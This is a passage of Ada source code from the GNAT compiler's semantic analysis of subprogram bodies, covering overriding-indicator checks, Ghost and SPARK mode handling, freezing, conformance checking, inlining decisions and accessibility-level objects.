this to a warning if -gnatd.E is enabled. elsif Ekind (Scope (Spec_Id)) = E_Protected_Type then Error_Msg_Warn := Error_To_Warning; Error_Msg_N ("<<overriding indicator not allowed " & "for protected subprogram body", Body_Spec); -- If this is not a primitive operation, then the overriding -- indicator is altogether illegal. elsif not Is_Primitive (Spec_Id) then Error_Msg_N ("overriding indicator only allowed " & "if subprogram is primitive", Body_Spec); end if; -- If checking the style rule and the operation overrides, then -- issue a warning about a missing overriding_indicator. Protected -- subprogram bodies are excluded from this style checking, since -- they aren't primitives (even though their declarations can -- override) and aren't allowed to have an overriding_indicator. elsif Style_Check and then Present (Overridden_Operation (Spec_Id)) and then Ekind (Scope (Spec_Id)) /= E_Protected_Type then pragma Assert (Unit_Declaration_Node (Body_Id) = N); Style.Missing_Overriding (N, Body_Id); elsif Style_Check and then Can_Override_Operator (Spec_Id) and then not In_Predefined_Unit (Spec_Id) then pragma Assert (Unit_Declaration_Node (Body_Id) = N); Style.Missing_Overriding (N, Body_Id); end if; end Verify_Overriding_Indicator; -- Local variables Saved_GM : constant Ghost_Mode_Type := Ghost_Mode; Saved_IGR : constant Node_Id := Ignored_Ghost_Region; Saved_EA : constant Boolean := Expander_Active; Saved_ISMP : constant Boolean := Ignore_SPARK_Mode_Pragmas_In_Instance; -- Save the Ghost and SPARK mode-related data to restore on exit -- Start of processing for Analyze_Subprogram_Body_Helper begin -- A [generic] subprogram body freezes the contract of the nearest -- enclosing package body and all other contracts encountered in the -- same declarative part up to and excluding the subprogram body: -- package body Nearest_Enclosing_Package -- with Refined_State => (State => Constit) -- is -- Constit : ...; -- procedure Freezes_Enclosing_Package_Body -- with Refined_Depends => (Input => Constit) ... -- This ensures that any annotations referenced by the contract of the -- [generic] subprogram body are available. This form of freezing is -- decoupled from the usual Freeze_xxx mechanism because it must also -- work in the context of generics where normal freezing is disabled. -- Only bodies coming from source should cause this type of freezing. -- Expression functions that act as bodies and complete an initial -- declaration must be included in this category, hence the use of -- Original_Node. if Comes_From_Source (Original_Node (N)) then Freeze_Previous_Contracts (N); end if; -- Generic subprograms are handled separately. They always have a -- generic specification. Determine whether current scope has a -- previous declaration. -- If the subprogram body is defined within an instance of the same -- name, the instance appears as a package renaming, and will be hidden -- within the subprogram. if Present (Prev_Id) and then not Is_Overloadable (Prev_Id) and then (Nkind (Parent (Prev_Id)) /= N_Package_Renaming_Declaration or else Comes_From_Source (Prev_Id)) then if Is_Generic_Subprogram (Prev_Id) then Spec_Id := Prev_Id; -- A subprogram body is Ghost when it is stand-alone and subject -- to pragma Ghost or when the corresponding spec is Ghost. Set -- the mode now to ensure that any nodes generated during analysis -- and expansion are properly marked as Ghost. Mark_And_Set_Ghost_Body (N, Spec_Id); -- If the body completes the initial declaration of a compilation -- unit which is subject to pragma Elaboration_Checks, set the -- model specified by the pragma because it applies to all parts -- of the unit. Install_Elaboration_Model (Spec_Id); Set_Is_Compilation_Unit (Body_Id, Is_Compilation_Unit (Spec_Id)); Set_Is_Child_Unit (Body_Id, Is_Child_Unit (Spec_Id)); Analyze_Generic_Subprogram_Body (N, Spec_Id); if Nkind (N) = N_Subprogram_Body then HSS := Handled_Statement_Sequence (N); Check_Missing_Return; end if; goto Leave; -- Otherwise a previous entity conflicts with the subprogram name. -- Attempting to enter name will post error. else Enter_Name (Body_Id); goto Leave; end if; -- Non-generic case, find the subprogram declaration, if one was seen, -- or enter new overloaded entity in the current scope. If the -- Current_Entity is the Body_Id itself, the unit is being analyzed as -- part of the context of one of its subunits. No need to redo the -- analysis. elsif Prev_Id = Body_Id and then Has_Completion (Body_Id) then goto Leave; else Body_Id := Analyze_Subprogram_Specification (Body_Spec); if Nkind (N) = N_Subprogram_Body_Stub or else No (Corresponding_Spec (N)) then if Is_Private_Concurrent_Primitive (Body_Id) then Spec_Id := Disambiguate_Spec; -- A subprogram body is Ghost when it is stand-alone and -- subject to pragma Ghost or when the corresponding spec is -- Ghost. Set the mode now to ensure that any nodes generated -- during analysis and expansion are properly marked as Ghost. Mark_And_Set_Ghost_Body (N, Spec_Id); -- If the body completes a compilation unit which is subject -- to pragma Elaboration_Checks, set the model specified by -- the pragma because it applies to all parts of the unit. Install_Elaboration_Model (Spec_Id); else Spec_Id := Find_Corresponding_Spec (N); -- A subprogram body is Ghost when it is stand-alone and -- subject to pragma Ghost or when the corresponding spec is -- Ghost. Set the mode now to ensure that any nodes generated -- during analysis and expansion are properly marked as Ghost. Mark_And_Set_Ghost_Body (N, Spec_Id); -- If the body completes a compilation unit which is subject -- to pragma Elaboration_Checks, set the model specified by -- the pragma because it applies to all parts of the unit. Install_Elaboration_Model (Spec_Id); -- In GNATprove mode, if the body has no previous spec, create -- one so that the inlining machinery can operate properly. -- Transfer aspects, if any, to the new spec, so that they -- are legal and can be processed ahead of the body. -- We make two copies of the given spec, one for the new -- declaration, and one for the body. -- ??? This should be conditioned on front-end inlining rather -- than GNATprove_Mode. if No (Spec_Id) and then GNATprove_Mode -- Inlining does not apply during preanalysis of code and then Full_Analysis -- Inlining only applies to full bodies, not stubs and then Nkind (N) /= N_Subprogram_Body_Stub -- Inlining only applies to bodies in the source code, not to -- those generated by the compiler. In particular, expression -- functions, whose body is generated by the compiler, are -- treated specially by GNATprove. and then Comes_From_Source (Body_Id) -- This cannot be done for a compilation unit, which is not -- in a context where we can insert a new spec. and then Is_List_Member (N) -- Inlining only applies to subprograms without contracts, -- as a contract is a sign that GNATprove should perform a -- modular analysis of the subprogram instead of a contextual -- analysis at each call site. The same test is performed in -- Inline.Can_Be_Inlined_In_GNATprove_Mode. It is repeated -- here in another form (because the contract has not been -- attached to the body) to avoid front-end errors in case -- pragmas are used instead of aspects, because the -- corresponding pragmas in the body would not be transferred -- to the spec, leading to legality errors. and then not Body_Has_Contract and then not Inside_A_Generic then Build_Subprogram_Declaration; -- If this is a function that returns a constrained array, and -- Transform_Function_Array is set, create subprogram -- declaration to simplify e.g. subsequent C generation. elsif No (Spec_Id) and then Transform_Function_Array and then Nkind (Body_Spec) = N_Function_Specification and then Is_Array_Type (Etype (Body_Id)) and then Is_Constrained (Etype (Body_Id)) then Build_Subprogram_Declaration; end if; end if; -- If this is a duplicate body, no point in analyzing it if Error_Posted (N) then goto Leave; end if; -- A subprogram body should cause freezing of its own declaration, -- but if there was no previous explicit declaration, then the -- subprogram will get frozen too late (there may be code within -- the body that depends on the subprogram having been frozen, -- such as uses of extra formals), so we force it to be frozen -- here. Same holds if the body and spec are compilation units. -- Finally, if the return type is an anonymous access to protected -- subprogram, it must be frozen before the body because its -- expansion has generated an equivalent type that is used when -- elaborating the body. -- An exception in the case of Ada 2012, AI05-177: The bodies -- created for expression functions do not freeze. if No (Spec_Id) and then Nkind (Original_Node (N)) /= N_Expression_Function then Freeze_Before (N, Body_Id); elsif Nkind (Parent (N)) = N_Compilation_Unit then Freeze_Before (N, Spec_Id); elsif Is_Access_Subprogram_Type (Etype (Body_Id)) then Freeze_Before (N, Etype (Body_Id)); end if; else Spec_Id := Corresponding_Spec (N); -- A subprogram body is Ghost when it is stand-alone and subject -- to pragma Ghost or when the corresponding spec is Ghost. Set -- the mode now to ensure that any nodes generated during analysis -- and expansion are properly marked as Ghost. Mark_And_Set_Ghost_Body (N, Spec_Id); -- If the body completes the initial declaration of a compilation -- unit which is subject to pragma Elaboration_Checks, set the -- model specified by the pragma because it applies to all parts -- of the unit. Install_Elaboration_Model (Spec_Id); end if; end if; -- Deactivate expansion inside the body of ignored Ghost entities, -- as this code will ultimately be ignored. This avoids requiring the -- presence of run-time units which are not needed. Only do this for -- user entities, as internally generated entitities might still need -- to be expanded (e.g. those generated for types). if Present (Ignored_Ghost_Region) and then Comes_From_Source (Body_Id) then Expander_Active := False; end if; -- Previously we scanned the body to look for nested subprograms, and -- rejected an inline directive if nested subprograms were present, -- because the back-end would generate conflicting symbols for the -- nested bodies. This is now unnecessary. -- Look ahead to recognize a pragma Inline that appears after the body Check_Inline_Pragma (Spec_Id); -- Deal with special case of a fully private operation in the body of -- the protected type. We must create a declaration for the subprogram, -- in order to attach the subprogram that will be used in internal -- calls. We exclude compiler generated bodies from the expander since -- the issue does not arise for those cases. if No (Spec_Id) and then Comes_From_Source (N) and then Is_Protected_Type (Current_Scope) then Spec_Id := Build_Internal_Protected_Declaration (N); end if; -- If Transform_Function_Array is set and this is a function returning a -- constrained array type for which we must create a procedure with an -- extra out parameter, build and analyze the body now. The procedure -- declaration has already been created. We reuse the source body of the -- function, because in an instance it may contain global references -- that cannot be reanalyzed. The source function itself is not used any -- further, so we mark it as having a completion. If the subprogram is a -- stub the transformation is done later, when the proper body is -- analyzed. if Expander_Active and then Transform_Function_Array and then Nkind (N) /= N_Subprogram_Body_Stub then declare S : constant Entity_Id := (if Present (Spec_Id) then Spec_Id else Defining_Unit_Name (Specification (N))); Proc_Body : Node_Id; begin if Ekind (S) = E_Function and then Rewritten_For_C (S) then Set_Has_Completion (S); Proc_Body := Build_Procedure_Body_Form (S, N); if Present (Spec_Id) then Rewrite (N, Proc_Body); Analyze (N); -- The entity for the created procedure must remain -- invisible, so it does not participate in resolution of -- subsequent references to the function. Set_Is_Immediately_Visible (Corresponding_Spec (N), False); -- If we do not have a separate spec for N, build one and -- insert the new body right after. else Rewrite (N, Make_Subprogram_Declaration (Loc, Specification => Relocate_Node (Specification (N)))); Analyze (N); Insert_After_And_Analyze (N, Proc_Body); Set_Is_Immediately_Visible (Corresponding_Spec (Proc_Body), False); end if; goto Leave; end if; end; end if; -- If a separate spec is present, then deal with freezing issues if Present (Spec_Id) then Spec_Decl := Unit_Declaration_Node (Spec_Id); Verify_Overriding_Indicator; -- In general, the spec will be frozen when we start analyzing the -- body. However, for internally generated operations, such as -- wrapper functions for inherited operations with controlling -- results, the spec may not have been frozen by the time we expand -- the freeze actions that include the bodies. In particular, extra -- formals for accessibility or for return-in-place may need to be -- generated. Freeze nodes, if any, are inserted before the current -- body. These freeze actions are also needed in Compile_Only mode to -- enable the proper back-end type annotations. -- They are necessary in any case to ensure proper elaboration order -- in gigi. if Nkind (N) = N_Subprogram_Body and then Was_Expression_Function (N) and then not Has_Completion (Spec_Id) and then Serious_Errors_Detected = 0 and then (Expander_Active or else Operating_Mode = Check_Semantics or else Is_Ignored_Ghost_Entity (Spec_Id)) then -- The body generated for an expression function that is not a -- completion is a freeze point neither for the profile nor for -- anything else. That's why, in order to prevent any freezing -- during analysis, we need to mask types declared outside the -- expression (and in an outer scope) that are not yet frozen. -- This also needs to be done in the case of an ignored Ghost -- expression function, where the expander isn't active. Set_Is_Frozen (Spec_Id); Mask_Types := Mask_Unfrozen_Types (Spec_Id); elsif not Is_Frozen (Spec_Id) and then Serious_Errors_Detected = 0 then Set_Has_Delayed_Freeze (Spec_Id); Freeze_Before (N, Spec_Id); end if; end if; -- Place subprogram on scope stack, and make formals visible. If there -- is a spec, the visible entity remains that of the spec. if Present (Spec_Id) then Generate_Reference (Spec_Id, Body_Id, 'b', Set_Ref => False); if Is_Child_Unit (Spec_Id) then Generate_Reference (Spec_Id, Scope (Spec_Id), 'k', False); end if; if Style_Check then Style.Check_Identifier (Body_Id, Spec_Id); end if; Set_Is_Compilation_Unit (Body_Id, Is_Compilation_Unit (Spec_Id)); Set_Is_Child_Unit (Body_Id, Is_Child_Unit (Spec_Id)); if Is_Abstract_Subprogram (Spec_Id) then Error_Msg_N ("an abstract subprogram cannot have a body", N); goto Leave; else Set_Convention (Body_Id, Convention (Spec_Id)); Set_Has_Completion (Spec_Id); if Is_Protected_Type (Scope (Spec_Id)) then Prot_Typ := Scope (Spec_Id); end if; -- If this is a body generated for a renaming, do not check for -- full conformance. The check is redundant, because the spec of -- the body is a copy of the spec in the renaming declaration, -- and the test can lead to spurious errors on nested defaults. if Present (Spec_Decl) and then not Comes_From_Source (N) and then (Nkind (Original_Node (Spec_Decl)) = N_Subprogram_Renaming_Declaration or else (Present (Corresponding_Body (Spec_Decl)) and then Nkind (Unit_Declaration_Node (Corresponding_Body (Spec_Decl))) = N_Subprogram_Renaming_Declaration)) then Conformant := True; -- Conversely, the spec may have been generated for specless body -- with an inline pragma. The entity comes from source, which is -- both semantically correct and necessary for proper inlining. -- The subprogram declaration itself is not in the source. elsif Comes_From_Source (N) and then Present (Spec_Decl) and then not Comes_From_Source (Spec_Decl) and then Has_Pragma_Inline (Spec_Id) then Conformant := True; -- Finally, a body generated for an expression function copies -- the profile of the function and no check is needed either. -- If the body is the completion of a previous function -- declared elsewhere, the conformance check is required. elsif Nkind (N) = N_Subprogram_Body and then Was_Expression_Function (N) and then Sloc (Spec_Id) = Sloc (Body_Id) then Conformant := True; else Check_Conformance (Body_Id, Spec_Id, Fully_Conformant, True, Conformant, Body_Id); end if; -- If the body is not fully conformant, we have to decide if we -- should analyze it or not. If it has a really messed up profile -- then we probably should not analyze it, since we will get too -- many bogus messages. -- Our decision is to go ahead in the non-fully conformant case -- only if it is at least mode conformant with the spec. Note -- that the call to Check_Fully_Conformant has issued the proper -- error messages to complain about the lack of conformance. if not Conformant and then not Mode_Conformant (Body_Id, Spec_Id) then goto Leave; end if; end if; -- In the case we are dealing with an expression function we check -- the formals attached to the spec instead of the body - so we don't -- reference body formals. if Spec_Id /= Body_Id and then not Is_Expression_Function (Spec_Id) then Reference_Body_Formals (Spec_Id, Body_Id); end if; Reinit_Field_To_Zero (Body_Id, F_Has_Out_Or_In_Out_Parameter); Reinit_Field_To_Zero (Body_Id, F_Needs_No_Actuals, Old_Ekind => (E_Function | E_Procedure => True, others => False)); Reinit_Field_To_Zero (Body_Id, F_Is_Predicate_Function, Old_Ekind => (E_Function | E_Procedure => True, others => False)); Reinit_Field_To_Zero (Body_Id, F_Protected_Subprogram, Old_Ekind => (E_Function | E_Procedure => True, others => False)); if Ekind (Body_Id) = E_Procedure then Reinit_Field_To_Zero (Body_Id, F_Receiving_Entry); end if; Mutate_Ekind (Body_Id, E_Subprogram_Body); if Nkind (N) = N_Subprogram_Body_Stub then Set_Corresponding_Spec_Of_Stub (N, Spec_Id); -- Regular body else Set_Corresponding_Spec (N, Spec_Id); -- Ada 2005 (AI-345): If the operation is a primitive operation -- of a concurrent type, the type of the first parameter has been -- replaced with the corresponding record, which is the proper -- run-time structure to use. However, within the body there may -- be uses of the formals that depend on primitive operations -- of the type (in particular calls in prefixed form) for which -- we need the original concurrent type. The operation may have -- several controlling formals, so the replacement must be done -- for all of them. if Comes_From_Source (Spec_Id) and then Present (First_Entity (Spec_Id)) and then Ekind (Etype (First_Entity (Spec_Id))) = E_Record_Type and then Is_Tagged_Type (Etype (First_Entity (Spec_Id))) and then Present (Interfaces (Etype (First_Entity (Spec_Id)))) and then Present (Corresponding_Concurrent_Type (Etype (First_Entity (Spec_Id)))) then declare Typ : constant Entity_Id := Etype (First_Entity (Spec_Id)); Form : Entity_Id; begin Form := First_Formal (Spec_Id); while Present (Form) loop if Etype (Form) = Typ then Set_Etype (Form, Corresponding_Concurrent_Type (Typ)); end if; Next_Formal (Form); end loop; end; end if; -- Make the formals visible, and place subprogram on scope stack. -- This is also the point at which we set Last_Real_Spec_Entity -- to mark the entities which will not be moved to the body. Install_Formals (Spec_Id); Last_Real_Spec_Entity := Last_Entity (Spec_Id); -- Within an instance, add local renaming declarations so that -- gdb can retrieve the values of actuals more easily. This is -- only relevant if generating code. if Is_Generic_Instance (Spec_Id) and then Is_Wrapper_Package (Current_Scope) and then Expander_Active then Build_Subprogram_Instance_Renamings (N, Current_Scope); end if; Push_Scope (Spec_Id); -- Make sure that the subprogram is immediately visible. For -- child units that have no separate spec this is indispensable. -- Otherwise it is safe albeit redundant. Set_Is_Immediately_Visible (Spec_Id); end if; Set_Corresponding_Body (Unit_Declaration_Node (Spec_Id), Body_Id); Set_Is_Obsolescent (Body_Id, Is_Obsolescent (Spec_Id)); Set_Scope (Body_Id, Scope (Spec_Id)); -- Case of subprogram body with no previous spec else -- Check for style warning required if Style_Check -- Only apply check for source level subprograms for which checks -- have not been suppressed. and then Comes_From_Source (Body_Id) and then not Suppress_Style_Checks (Body_Id) -- No warnings within an instance and then not In_Instance -- No warnings for expression functions and then Nkind (Original_Node (N)) /= N_Expression_Function then Style.Body_With_No_Spec (N); end if; New_Overloaded_Entity (Body_Id); if Nkind (N) /= N_Subprogram_Body_Stub then Set_Acts_As_Spec (N); Generate_Definition (Body_Id); Generate_Reference (Body_Id, Body_Id, 'b', Set_Ref => False, Force => True); -- If the body is an entry wrapper created for an entry with -- preconditions, it must be compiled in the context of the -- enclosing synchronized object, because it may mention other -- operations of the type. if Is_Entry_Wrapper (Body_Id) then declare Prot : constant Entity_Id := Etype (First_Entity (Body_Id)); begin Push_Scope (Prot); Install_Declarations (Prot); end; end if; Install_Formals (Body_Id); Push_Scope (Body_Id); end if; -- For stubs and bodies with no previous spec, generate references to -- formals. Generate_Reference_To_Formals (Body_Id); end if; -- Entry barrier functions are generated outside the protected type and -- should not carry the SPARK_Mode of the enclosing context. if Nkind (N) = N_Subprogram_Body and then Is_Entry_Barrier_Function (N) then null; -- The body is generated as part of expression function expansion. When -- the expression function appears in the visible declarations of a -- package, the body is added to the private declarations. Since both -- declarative lists may be subject to a different SPARK_Mode, inherit -- the mode of the spec. -- package P with SPARK_Mode is -- function Expr_Func ... is (...); -- original -- [function Expr_Func ...;] -- generated spec -- -- mode is ON -- private -- pragma SPARK_Mode (Off); -- [function Expr_Func ... is return ...;] -- generated body -- end P; -- mode is ON elsif not Comes_From_Source (N) and then Present (Spec_Id) and then Is_Expression_Function (Spec_Id) then Set_SPARK_Pragma (Body_Id, SPARK_Pragma (Spec_Id)); Set_SPARK_Pragma_Inherited (Body_Id, SPARK_Pragma_Inherited (Spec_Id)); -- Set the SPARK_Mode from the current context (may be overwritten later -- with explicit pragma). Exclude the case where the SPARK_Mode appears -- initially on a stand-alone subprogram body, but is then relocated to -- a generated corresponding spec. In this scenario the mode is shared -- between the spec and body. elsif No (SPARK_Pragma (Body_Id)) then Set_SPARK_Pragma (Body_Id, SPARK_Mode_Pragma); Set_SPARK_Pragma_Inherited (Body_Id); end if; -- A subprogram body may be instantiated or inlined at a later pass. -- Restore the state of Ignore_SPARK_Mode_Pragmas_In_Instance when it -- applied to the initial declaration of the body. if Present (Spec_Id) then if Ignore_SPARK_Mode_Pragmas (Spec_Id) then Ignore_SPARK_Mode_Pragmas_In_Instance := True; end if; else -- Save the state of flag Ignore_SPARK_Mode_Pragmas_In_Instance in -- case the body is instantiated or inlined later and out of context. -- The body uses this attribute to restore the value of the global -- flag. if Ignore_SPARK_Mode_Pragmas_In_Instance then Set_Ignore_SPARK_Mode_Pragmas (Body_Id); elsif Ignore_SPARK_Mode_Pragmas (Body_Id) then Ignore_SPARK_Mode_Pragmas_In_Instance := True; end if; end if; -- Preserve relevant elaboration-related attributes of the context which -- are no longer available or very expensive to recompute once analysis, -- resolution, and expansion are over. if No (Spec_Id) then Mark_Elaboration_Attributes (N_Id => Body_Id, Checks => True, Warnings => True); end if; -- If this is the proper body of a stub, we must verify that the stub -- conforms to the body, and to the previous spec if one was present. -- We know already that the body conforms to that spec. This test is -- only required for subprograms that come from source. if Nkind (Parent (N)) = N_Subunit and then Comes_From_Source (N) and then not Error_Posted (Body_Id) and then Nkind (Corresponding_Stub (Parent (N))) = N_Subprogram_Body_Stub then declare Old_Id : constant Entity_Id := Defining_Entity (Specification (Corresponding_Stub (Parent (N)))); Conformant : Boolean := False; begin if No (Spec_Id) then Check_Fully_Conformant (Body_Id, Old_Id); else Check_Conformance (Body_Id, Old_Id, Fully_Conformant, False, Conformant); if not Conformant then -- The stub was taken to be a new declaration. Indicate that -- it lacks a body. Set_Has_Completion (Old_Id, False); end if; end if; end; end if; Set_Has_Completion (Body_Id); Check_Eliminated (Body_Id); -- Analyze any aspect specifications that appear on the subprogram body -- stub. Stop the analysis now as the stub does not have a declarative -- or a statement part, and it cannot be inlined. if Nkind (N) = N_Subprogram_Body_Stub then if Has_Aspects (N) then Analyze_Aspects_On_Subprogram_Body_Or_Stub (N); end if; goto Leave; end if; -- Handle inlining if Expander_Active and then Serious_Errors_Detected = 0 and then Present (Spec_Id) and then Has_Pragma_Inline (Spec_Id) then -- Legacy implementation (relying on front-end inlining) if not Back_End_Inlining then if Has_Pragma_Inline_Always (Spec_Id) or else (Front_End_Inlining and then not Opt.Disable_FE_Inline) then Build_Body_To_Inline (N, Spec_Id); end if; -- New implementation (relying on back-end inlining) else if Has_Pragma_Inline_Always (Spec_Id) or else Optimization_Level > 0 then -- Handle function returning an unconstrained type if Comes_From_Source (Body_Id) and then Ekind (Spec_Id) = E_Function and then Returns_Unconstrained_Type (Spec_Id) -- If function builds in place, i.e. returns a limited type, -- inlining cannot be done. and then not Is_Limited_Type (Etype (Spec_Id)) then Check_And_Split_Unconstrained_Function (N, Spec_Id, Body_Id); else declare Subp_Body : constant Node_Id := Unit_Declaration_Node (Body_Id); Subp_Decl : constant List_Id := Declarations (Subp_Body); begin -- Do not pass inlining to the backend if the subprogram -- has declarations or statements which cannot be inlined -- by the backend. This check is done here to emit an -- error instead of the generic warning message reported -- by the GCC backend (ie. "function might not be -- inlinable"). if Present (Subp_Decl) and then Has_Excluded_Declaration (Spec_Id, Subp_Decl) then null; elsif Has_Excluded_Statement (Spec_Id, Statements (Handled_Statement_Sequence (Subp_Body))) then null; -- If the backend inlining is available then at this -- stage we only have to mark the subprogram as inlined. -- The expander will take care of registering it in the -- table of subprograms inlined by the backend a part of -- processing calls to it (cf. Expand_Call) else Set_Is_Inlined (Spec_Id); end if; end; end if; end if; end if; -- In GNATprove mode, inline only when there is a separate subprogram -- declaration for now, as inlining of subprogram bodies acting as -- declarations, or subprogram stubs, are not supported by front-end -- inlining. This inlining should occur after analysis of the body, so -- that it is known whether the value of SPARK_Mode, which can be -- defined by a pragma inside the body, is applicable to the body. -- Inlining can be disabled with switch -gnatdm elsif GNATprove_Mode and then Full_Analysis and then not Inside_A_Generic and then Present (Spec_Id) and then Nkind (Unit_Declaration_Node (Spec_Id)) = N_Subprogram_Declaration and then Body_Has_SPARK_Mode_On and then Can_Be_Inlined_In_GNATprove_Mode (Spec_Id, Body_Id) and then not Body_Has_Contract and then not Debug_Flag_M then Build_Body_To_Inline (N, Spec_Id); end if; -- When generating code, inherited pre/postconditions are handled when -- expanding the corresponding contract. -- Ada 2005 (AI-262): In library subprogram bodies, after the analysis -- of the specification we have to install the private withed units. -- This holds for child units as well. if Is_Compilation_Unit (Body_Id) or else Nkind (Parent (N)) = N_Compilation_Unit then Install_Private_With_Clauses (Body_Id); end if; Check_Anonymous_Return; -- Set the Protected_Formal field of each extra formal of the protected -- subprogram to reference the corresponding extra formal of the -- subprogram that implements it. For regular formals this occurs when -- the protected subprogram's declaration is expanded, but the extra -- formals don't get created until the subprogram is frozen. We need to -- do this before analyzing the protected subprogram's body so that any -- references to the original subprogram's extra formals will be changed -- refer to the implementing subprogram's formals (see Expand_Formal). if Present (Spec_Id) and then Is_Protected_Type (Scope (Spec_Id)) and then Present (Protected_Body_Subprogram (Spec_Id)) then declare Impl_Subp : constant Entity_Id := Protected_Body_Subprogram (Spec_Id); Prot_Ext_Formal : Entity_Id := Extra_Formals (Spec_Id); Impl_Ext_Formal : Entity_Id := Extra_Formals (Impl_Subp); begin while Present (Prot_Ext_Formal) loop pragma Assert (Present (Impl_Ext_Formal)); Set_Protected_Formal (Prot_Ext_Formal, Impl_Ext_Formal); Next_Formal_With_Extras (Prot_Ext_Formal); Next_Formal_With_Extras (Impl_Ext_Formal); end loop; end; end if; -- Generate minimum accessibility local objects to correspond with -- any extra formal added for anonymous access types. This new local -- object can then be used instead of the formal in case it is used -- in an actual to a call to a nested subprogram. -- This method is used to supplement our "small integer model" for -- accessibility-check generation (for more information see -- Accessibility_Level). -- Because we allow accessibility values greater than our expected value -- passing along the same extra accessibility formal as an actual -- to a nested subprogram becomes a problem because high values mean -- different things to the callee even though they are the same to the -- caller. So, as described in the first section, we create a local -- object representing the minimum of the accessibility level value that -- is passed in and the accessibility level of the callee's parameter -- and locals and use it in the case of a call to a nested subprogram. -- This generated object is referred to as a "minimum accessibility -- level." if Present (Spec_Id) or else Present (Body_Id) then Body_Nod := Unit_Declaration_Node (Body_Id); declare Form : Entity_Id; begin -- Grab the appropriate formal depending on whether there exists -- an actual spec for the subprogram or whether we are dealing -- with a protected subprogram. if Present (Spec_Id) then if Present (Protected_Body_Subprogram (Spec_Id)) then Form := First_Formal (Protected_Body_Subprogram (Spec_Id)); else Form := First_Formal (Spec_Id); end if; else Form := First_Formal (Body_Id); end if; -- Loop through formals if the subprogram is capable of accepting -- a generated local object. If it is not then it is also not -- capable of having local subprograms meaning it would not need -- a minimum accessibility level object anyway. if Present (Body_Nod) and then Has_Declarations (Body_Nod) and then Nkind (Body_Nod) /= N_Package_Specification then while Present (Form) loop if Present (Extra_Accessibility (Form)) and then No (Minimum_Accessibility (Form)) then -- Generate the minimum accessibility level object -- A60b : constant natural := natural'min(1, paramL); Generate_Minimum_Accessibility (Extra_Accessibility (Form), Form); end if; Next_Formal (Form); end loop; -- Generate the minimum accessibility level object for the -- function's Extra_Accessibility_Of_Result. -- A31b : constant natural := natural'min (2, funcL); if Ekind (Body_Id) = E_Function and then Present (Extra_Accessibility_Of_Result (Body_Id)) then Generate_Minimum_Accessibility (Extra_Accessibility_Of_Result (Body_Id)); -- Replace the Extra_Accessibility_Of_Result with the new -- minimum accessibility object. Set_Extra_Accessibility_Of_Result (Body_Id, Minimum_Accessibility (Extra_Accessibility_Of_Result (Body_Id))); end if; end if; end; end if; -- Now we can go on to analyze the body HSS := Handled_Statement_Sequence (N); Set_Actual_Subtypes (N, Current_Scope); -- Add a declaration for the Protection object, renaming declarations -- for discriminals and privals and finally a declaration for the entry -- family index (if applicable). This form of early expansion is done -- when the Expander is active because Install_Private_Data_Declarations -- references entities which were created during regular expansion. The -- subprogram entity must come from source, and not be an internally -- generated subprogram. if Expander_Active and then Present (Prot_Typ) and then Present (Spec_Id) and then Comes_From_Source (Spec_Id) and then not Is_Eliminated (Spec_Id) then Install_Private_Data_Declarations (Sloc (N), Spec_Id, Prot_Typ, N, Declarations (N)); end if; -- Ada 2012 (AI05-0151): Incomplete types coming from a limited context -- may now appear in parameter and result profiles. Since the analysis -- of a subprogram body may use the parameter and result profile of the -- spec, swap any limited views with their non-limited counterpart. if Ada_Version >= Ada_2012 and then Present (Spec_Id) then Exch_Views := Exchange_Limited_Views (Spec_Id); end if; -- If the return type is an anonymous access type whose designated type -- is the limited view of a class-wide type and the non-limited view is -- available, update the return type accordingly. if Ada_Version >= Ada_2005 and then Present (Spec_Id) then declare Etyp : Entity_Id; Rtyp : Entity_Id; begin Rtyp := Etype (Spec_Id); if Ekind (Rtyp) = E_Anonymous_Access_Type then Etyp := Directly_Designated_Type (Rtyp); if Is_Class_Wide_Type (Etyp) and then From_Limited_With (Etyp) then Desig_View := Etyp; Set_Directly_Designated_Type (Rtyp, Available_View (Etyp)); end if; end if; end; end if; -- Analyze any aspect specifications that appear on the subprogram body if Has_Aspects (N) then Analyze_Aspects_On_Subprogram_Body_Or_Stub (N); end if; Analyze_Declarations (Declarations (N)); -- Verify that the SPARK_Mode of the body agrees with that of its spec if Present (Spec_Id) and then Present (SPARK_Pragma (Body_Id)) then if Present (SPARK_Pragma (Spec_Id)) then if Get_SPARK_Mode_From_Annotation (SPARK_Pragma (Spec_Id)) = Off and then Get_SPARK_Mode_From_Annotation (SPARK_Pragma (Body_Id)) = On then Error_Msg_Sloc := Sloc (SPARK_Pragma (Body_Id)); Error_Msg_N ("incorrect application of SPARK_Mode#", N); Error_Msg_Sloc := Sloc (SPARK_Pragma (Spec_Id)); Error_Msg_NE ("\value Off was set for SPARK_Mode on & #", N, Spec_Id); end if; elsif Nkind (Parent (Parent (Spec_Id))) = N_Subprogram_Body_Stub then null; -- SPARK_Mode Off could complete no SPARK_Mode in a generic, either -- as specified in source code, or because SPARK_Mode On is ignored -- in an instance where the context is SPARK_Mode Off/Auto. elsif Get_SPARK_Mode_From_Annotation (SPARK_Pragma (Body_Id)) = Off and then (Is_Generic_Unit (Spec_Id) or else In_Instance) then null; else Error_Msg_Sloc := Sloc (SPARK_Pragma (Body_Id)); Error_Msg_N ("incorrect application of SPARK_Mode #", N); Error_Msg_Sloc := Sloc (Spec_Id); Error_Msg_NE ("\no value was set for SPARK_Mode on & #", N, Spec_Id); end if; end if; -- A subprogram body freezes its own contract. Analyze the contract -- after the declarations of the body have been processed as pragmas -- are now chained on the contract of the subprogram body. Analyze_Entry_Or_Subprogram_Body_Contract (Body_Id); -- Check completion, and analyze the statements Check_Completion; Inspect_Deferred_Constant_Completion (Declarations (N)); Analyze (HSS); -- Add the generated minimum accessibility objects to the subprogram -- body's list of declarations after analysis of the statements and -- contracts. while Is_Non_Empty_List (Minimum_Acc_Objs) loop if Present (Declarations (Body_Nod)) then Prepend (Remove_Head (Minimum_Acc_Objs), Declarations (Body_Nod)); else Set_Declarations (Body_Nod, New_List (Remove_Head (Minimum_Acc_Objs))); end if; end loop; -- Deal with end of scope processing for the body Process_End_Label (HSS, 't', Current_Scope); Update_Use_Clause_Chain; End_Scope; -- If we are compiling an entry wrapper, remove the enclosing -- synchronized object from the stack. if Is_Entry_Wrapper (Body_Id) then End_Scope; end if; Check_Subprogram_Order (N); Set_Analyzed (Body_Id); -- If we have a separate spec, then the analysis of the declarations -- caused the entities in the body to be chained to the spec id, but -- we want them chained to the body id. Only the formal parameters -- end up chained to the spec id in this case. if Present (Spec_Id) then -- We must conform to the categorization of our spec Validate_Categorization_Dependency (N, Spec_Id); -- And if this is a child unit, the parent units must conform if Is_Child_Unit (Spec_Id) then Validate_Categorization_Dependency (Unit_Declaration_Node 